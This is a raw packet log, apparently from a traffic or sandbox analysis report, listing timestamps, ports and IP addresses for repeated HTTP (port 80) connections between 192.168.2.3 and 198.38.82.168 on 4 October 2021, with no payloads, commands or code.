Oct 4, 2021 16:03:00.736478090 CEST	80	50069	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:00.736716986 CEST	50069	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:00.736963987 CEST	50069	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:00.737036943 CEST	50069	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:00.792613029 CEST	80	50068	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:00.792639971 CEST	80	50068	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:00.792731047 CEST	50068	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:00.893270969 CEST	80	50069	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:00.933176041 CEST	80	50069	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:01.009514093 CEST	50070	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:01.168956041 CEST	80	50070	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:01.169799089 CEST	50070	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:01.169831038 CEST	50070	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:01.169835091 CEST	50070	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:01.225712061 CEST	80	50069	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:01.225747108 CEST	80	50069	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:01.225943089 CEST	50069	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:01.329327106 CEST	80	50070	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:01.370019913 CEST	80	50070	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:01.455274105 CEST	50071	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:01.573535919 CEST	80	50071	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:01.578166962 CEST	50071	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:01.578524113 CEST	50071	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:01.578584909 CEST	50071	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:01.694314957 CEST	80	50070	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:01.694336891 CEST	80	50070	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:01.694684982 CEST	50070	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:01.698721886 CEST	80	50071	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:01.743304014 CEST	80	50071	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:01.904722929 CEST	50072	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:02.054747105 CEST	80	50071	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:02.054774046 CEST	80	50071	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:02.054949045 CEST	50071	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:02.061336040 CEST	80	50072	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:02.061516047 CEST	50072	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:02.061733007 CEST	50072	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:02.061815023 CEST	50072	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:02.217941999 CEST	80	50072	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:02.257538080 CEST	80	50072	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:02.351888895 CEST	50073	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:02.511648893 CEST	80	50073	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:02.511967897 CEST	50073	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:02.512238979 CEST	50073	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:02.512293100 CEST	50073	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:02.548754930 CEST	80	50072	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:02.548779011 CEST	80	50072	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:02.548929930 CEST	50072	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:02.671264887 CEST	80	50073	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:02.711283922 CEST	80	50073	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:02.770566940 CEST	50074	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:02.888258934 CEST	80	50074	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:02.888395071 CEST	50074	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:02.888645887 CEST	50074	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:02.888715982 CEST	50074	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:03.007035971 CEST	80	50074	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.014790058 CEST	80	50073	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.014813900 CEST	80	50073	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.014976025 CEST	50073	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:03.046576023 CEST	80	50074	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.288199902 CEST	50075	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:03.388341904 CEST	80	50074	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.389151096 CEST	80	50074	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.389298916 CEST	50074	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:03.444792986 CEST	80	50075	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.445014954 CEST	50075	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:03.445326090 CEST	50075	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:03.445439100 CEST	50075	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:03.567645073 CEST	50076	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:03.602912903 CEST	80	50075	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.647470951 CEST	80	50075	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.687479973 CEST	80	50076	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.687613010 CEST	50076	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:03.687896013 CEST	50076	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:03.687984943 CEST	50076	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:03.806390047 CEST	80	50076	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.842395067 CEST	80	50076	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.974730015 CEST	80	50075	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.974755049 CEST	80	50075	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:03.974884987 CEST	50075	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:04.173903942 CEST	80	50076	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:04.177092075 CEST	80	50076	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:04.177244902 CEST	50076	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:04.214880943 CEST	50077	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:04.332468987 CEST	80	50077	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:04.332575083 CEST	50077	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:04.332813025 CEST	50077	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:04.332925081 CEST	50077	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:04.391963005 CEST	50078	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:04.459393978 CEST	80	50077	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:04.497769117 CEST	80	50077	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:04.551268101 CEST	80	50078	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:04.551374912 CEST	50078	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:04.551748037 CEST	50078	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:04.551919937 CEST	50078	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:04.710957050 CEST	80	50078	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:04.750256062 CEST	80	50078	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:04.801960945 CEST	80	50077	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:04.802503109 CEST	80	50077	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:04.802608967 CEST	50077	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:05.053630114 CEST	80	50078	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:05.053819895 CEST	80	50078	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:05.055176020 CEST	50078	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:05.174985886 CEST	50079	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:05.289583921 CEST	80	50079	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:05.289793968 CEST	50079	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:05.289993048 CEST	50079	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:05.290056944 CEST	50079	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:05.367146015 CEST	50080	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:05.404850960 CEST	80	50079	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:05.444803953 CEST	80	50079	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:05.481962919 CEST	80	50080	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:05.483840942 CEST	50080	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:05.483922005 CEST	50080	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:05.483992100 CEST	50080	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:05.598567963 CEST	80	50080	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:05.637747049 CEST	80	50080	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:05.733026981 CEST	80	50079	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:05.733052969 CEST	80	50079	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:05.734086037 CEST	50079	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:05.959059000 CEST	80	50080	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:05.959096909 CEST	80	50080	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:05.959250927 CEST	50080	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:06.057051897 CEST	50081	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:06.170170069 CEST	50082	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:06.171734095 CEST	80	50081	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:06.171864033 CEST	50081	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:06.172068119 CEST	50081	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:06.172148943 CEST	50081	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:06.291346073 CEST	80	50082	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:06.291371107 CEST	80	50081	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:06.293138027 CEST	50082	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:06.293184042 CEST	50082	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:06.293186903 CEST	50082	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:06.325720072 CEST	80	50081	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:06.412461996 CEST	80	50082	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:06.451667070 CEST	80	50082	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:06.634602070 CEST	80	50081	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:06.634830952 CEST	80	50081	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:06.635178089 CEST	50081	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:06.747303009 CEST	80	50082	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:06.747327089 CEST	80	50082	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:06.747607946 CEST	50082	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:06.893182993 CEST	50084	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:06.934211969 CEST	50085	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.052234888 CEST	80	50084	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:07.052386999 CEST	50084	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.052669048 CEST	50084	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.052753925 CEST	50084	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.091073990 CEST	80	50085	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:07.091264009 CEST	50085	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.091526031 CEST	50085	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.091598034 CEST	50085	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.211762905 CEST	80	50084	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:07.248210907 CEST	80	50085	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:07.252207041 CEST	80	50084	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:07.289351940 CEST	80	50085	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:07.561806917 CEST	80	50084	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:07.561830997 CEST	80	50084	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:07.562108040 CEST	50084	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.616946936 CEST	80	50085	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:07.618210077 CEST	80	50085	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:07.618295908 CEST	50085	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.820938110 CEST	50087	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.820985079 CEST	50086	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.935795069 CEST	80	50086	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:07.936018944 CEST	50086	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.936239958 CEST	50086	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.936307907 CEST	50086	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.939047098 CEST	80	50087	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:07.939297915 CEST	50087	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.939582109 CEST	50087	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:07.939677000 CEST	50087	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:08.051253080 CEST	80	50086	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:08.057945013 CEST	80	50087	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:08.091342926 CEST	80	50086	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:08.098474979 CEST	80	50087	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:08.382566929 CEST	80	50087	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:08.383019924 CEST	80	50087	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:08.383135080 CEST	50087	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:08.405242920 CEST	80	50086	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:08.405391932 CEST	80	50086	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:08.405463934 CEST	50086	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:08.576247931 CEST	50088	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:08.691816092 CEST	50089	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:08.732557058 CEST	80	50088	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:08.732789993 CEST	50088	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:08.732954979 CEST	50088	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:08.733002901 CEST	50088	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:08.806602955 CEST	80	50089	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:08.806823015 CEST	50089	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:08.807040930 CEST	50089	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:08.807135105 CEST	50089	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:08.889074087 CEST	80	50088	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:08.921878099 CEST	80	50089	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:08.928263903 CEST	80	50088	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:08.961719036 CEST	80	50089	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:09.217406034 CEST	80	50088	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:09.217633009 CEST	80	50088	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:09.217706919 CEST	50088	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:09.262108088 CEST	80	50089	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:09.263452053 CEST	80	50089	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:09.265853882 CEST	50089	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:09.431360006 CEST	50090	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:09.481157064 CEST	50091	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:09.591762066 CEST	80	50090	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:09.591964960 CEST	50090	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:09.592179060 CEST	50090	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:09.592242956 CEST	50090	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:09.598830938 CEST	80	50091	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:09.599006891 CEST	50091	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:09.599191904 CEST	50091	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:09.599241972 CEST	50091	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:09.714703083 CEST	80	50091	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:09.751765966 CEST	80	50090	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:09.754595995 CEST	80	50091	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:09.792174101 CEST	80	50090	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.087654114 CEST	80	50091	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.087855101 CEST	80	50091	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.087932110 CEST	50091	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:10.090467930 CEST	80	50090	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.090538025 CEST	80	50090	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.090892076 CEST	50090	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:10.304033041 CEST	50092	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:10.308264971 CEST	50093	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:10.466100931 CEST	80	50092	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.466314077 CEST	50092	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:10.466520071 CEST	50092	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:10.466645956 CEST	50092	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:10.470223904 CEST	80	50093	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.470379114 CEST	50093	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:10.470581055 CEST	50093	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:10.470649958 CEST	50093	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:10.628115892 CEST	80	50092	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.630230904 CEST	80	50093	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.667562962 CEST	80	50092	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.670145035 CEST	80	50093	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.974678993 CEST	80	50092	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.974714994 CEST	80	50092	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.974822044 CEST	50092	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:10.985430002 CEST	80	50093	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.985466003 CEST	80	50093	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:10.985595942 CEST	50093	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:11.167495012 CEST	50094	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:11.199068069 CEST	50095	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:11.282392025 CEST	80	50094	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:11.282577038 CEST	50094	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:11.283102989 CEST	50094	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:11.283273935 CEST	50094	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:11.315414906 CEST	80	50095	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:11.315553904 CEST	50095	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:11.315861940 CEST	50095	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:11.315989017 CEST	50095	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:11.398932934 CEST	80	50094	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:11.431195021 CEST	80	50095	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:11.437859058 CEST	80	50094	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:11.470715046 CEST	80	50095	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:11.725763083 CEST	80	50094	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:11.725913048 CEST	80	50094	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:11.725964069 CEST	50094	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:11.764182091 CEST	80	50095	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:11.764318943 CEST	80	50095	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:11.764368057 CEST	50095	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:11.920533895 CEST	50096	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:11.969151974 CEST	50097	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.035166025 CEST	80	50096	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:12.035262108 CEST	50096	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.035516024 CEST	50096	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.035615921 CEST	50096	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.125377893 CEST	80	50097	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:12.125493050 CEST	50097	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.125756025 CEST	50097	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.125825882 CEST	50097	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.149965048 CEST	80	50096	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:12.190120935 CEST	80	50096	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:12.282305956 CEST	80	50097	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:12.324188948 CEST	80	50097	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:12.522464037 CEST	80	50096	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:12.522490978 CEST	80	50096	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:12.522604942 CEST	50096	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.619046926 CEST	80	50097	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:12.619075060 CEST	80	50097	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:12.619162083 CEST	50097	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.722412109 CEST	50098	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.827312946 CEST	50099	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.839015961 CEST	80	50098	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:12.839272022 CEST	50098	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.839489937 CEST	50098	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.839589119 CEST	50098	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.945169926 CEST	80	50099	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:12.945362091 CEST	50099	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.945712090 CEST	50099	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.945872068 CEST	50099	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:12.954278946 CEST	80	50098	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:12.994745970 CEST	80	50098	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:13.065136909 CEST	80	50099	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:13.103750944 CEST	80	50099	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:13.298290968 CEST	80	50098	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:13.298722029 CEST	80	50098	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:13.298831940 CEST	50098	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:13.398263931 CEST	80	50099	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:13.398296118 CEST	80	50099	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:13.398396969 CEST	50099	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:13.477602005 CEST	50100	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:13.595791101 CEST	80	50100	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:13.595896959 CEST	50100	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:13.596055984 CEST	50100	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:13.596120119 CEST	50100	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:13.713563919 CEST	80	50100	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:13.753762960 CEST	80	50100	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:13.773897886 CEST	50101	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:13.930548906 CEST	80	50101	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:13.930721045 CEST	50101	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:13.930851936 CEST	50101	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:13.930892944 CEST	50101	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:14.040069103 CEST	80	50100	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:14.040203094 CEST	80	50100	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:14.040302992 CEST	50100	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:14.086956978 CEST	80	50101	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:14.126259089 CEST	80	50101	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:14.235980034 CEST	50102	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:14.357732058 CEST	80	50102	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:14.357876062 CEST	50102	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:14.358000994 CEST	50102	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:14.358040094 CEST	50102	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:14.454890013 CEST	80	50101	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:14.455169916 CEST	80	50101	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:14.455245972 CEST	50101	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:14.475867987 CEST	80	50102	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:14.516699076 CEST	80	50102	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:14.815561056 CEST	80	50102	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:14.818583012 CEST	80	50102	198.38.82.168	192.168.2.3
Oct 4, 2021 16:03:14.818788052 CEST	50102	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:03:15.542150974 CEST	50103	80	192.168.2.3	198.38.82.168
